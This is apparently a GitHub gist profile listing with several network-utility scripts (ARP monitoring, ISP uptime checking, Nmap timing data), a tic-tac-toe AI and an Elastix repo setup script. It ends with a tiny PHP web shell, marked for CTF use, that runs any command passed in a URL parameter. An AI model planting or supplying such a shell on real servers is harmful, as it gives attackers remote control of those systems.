Skip to content

Instantly share code, notes, and snippets.

from tplinkarpmon import TPLinkARPMon
from datetime import datetime
from time import sleep
import sys
tpl = TPLinkARPMon('router-address', 'admin-username', 'admin-password')
DELAY = 60
prev_devices = set()
print('Initialized ARP monitoring util at {}'.format(datetime.now()))
import urllib3
import base64
class TPLinkARPMon:
def __init__(self, router_ip, admin_user, admin_pass):
self.ip = router_ip
self.auth_cookie = self.__cookie(admin_user, admin_pass)
def __cookie(self, admin_user, admin_pass):
token = base64.b64encode('{}:{}'.format(admin_user, admin_pass).encode('utf-8'))
@sdsdkkk
sdsdkkk / isp-uptime.service
Created December 19, 2021 14:01
ISP uptime systemd config file
[Unit]
Description=ISP Uptime Checker Utility
[Service]
ExecStart=/usr/bin/python3 /home/automaton/network-utils/isp-uptime/uptime-check.py
KillMode=process
Restart=on-failure
Type=simple
StandardOutput=append:/var/log/isp-uptime.log
StandardError=append:/var/log/isp-uptime.log
@sdsdkkk
sdsdkkk / uptime-check.py
Created December 19, 2021 13:55
ISP uptime checker process script
from ping3 import ping
from datetime import datetime
from time import sleep
import sys
TARGET_HOSTS = [
'google.com',
'facebook.com',
'firstmedia.com'
]
@sdsdkkk
sdsdkkk / nmap-scan-duration.csv
Created March 26, 2021 13:07
Duration of Nmap scans using various scan technique flags (100 scans per flag)
flag duration
no_flag 1.29
no_flag 1.27
no_flag 2.39
no_flag 1.31
no_flag 1.29
no_flag 1.33
no_flag 1.38
no_flag 1.31
no_flag 1.28
@sdsdkkk
sdsdkkk / tictactoe-ai.py
Last active May 24, 2020 00:57
Simple tic-tac-toe AI implementation using statistics-based weights on grids for 3x3 board
from random import randrange
# Set of grids
G = {1, 2, 3, 4, 5, 6, 7, 8, 9}
# List of win conditions
W = [{1, 2, 3}, {4, 5, 6}, {7, 8, 9}, {1, 4, 7}, {2, 5, 8}, {3, 6, 9}, {1, 5, 9}, {3, 5, 7}]
# Declare empty sets for players' initial occupied grids
A = set([])
B = set([])
#! /bin/bash
mkdir ~/yum-repo-backups/
mv /etc/yum.repos.d/elastix.repo ~/yum-repo-backups/
mv /etc/yum.repos.d/commercial-addons.repo ~/yum-repo-backups/
mv /etc/yum.repos.d/epel* ~/yum-repo-backups/
curl https://gist.githubusercontent.com/sdsdkkk/e8663c8e53ccc7dfddf4679242458ac5/raw/b86f5720e8476f2c68fb723cbd5a3004bb67decc/elastix.repo > /etc/yum.repos.d/elastix.repo
yum install -y git curl elastix-callcenter
@sdsdkkk
sdsdkkk / elastix.repo
Created December 31, 2019 03:40
Elastix YUM repo
[elastix-base]
name=Base RPM Repository for Elastix
#mirrorlist=http://mirror.elastix.org/?release=4&arch=$basearch&repo=base
baseurl=http://elastix.adaptixnetworks.com/4/base/$basearch/
gpgcheck=1
enabled=1
gpgkey=http://elastix.adaptixnetworks.com/RPM-GPG-KEY-Elastix
[elastix-updates]
name=Updates RPM Repository for Elastix

Keybase proof

I hereby claim:

  • I am sdsdkkk on github.
  • I am sdsdkkk (https://keybase.io/sdsdkkk) on keybase.
  • I have a public key ASBp8f6-jIlfZdDFUrhq0_2aE1JB1_kRCUmmo-xD22NpDwo

To claim this, I am signing this object:

@sdsdkkk
sdsdkkk / shell.php
Last active November 20, 2016 14:47
For CTF
<?php
echo '<pre>';
echo system($_GET['cmd']);
echo '</pre>';
?>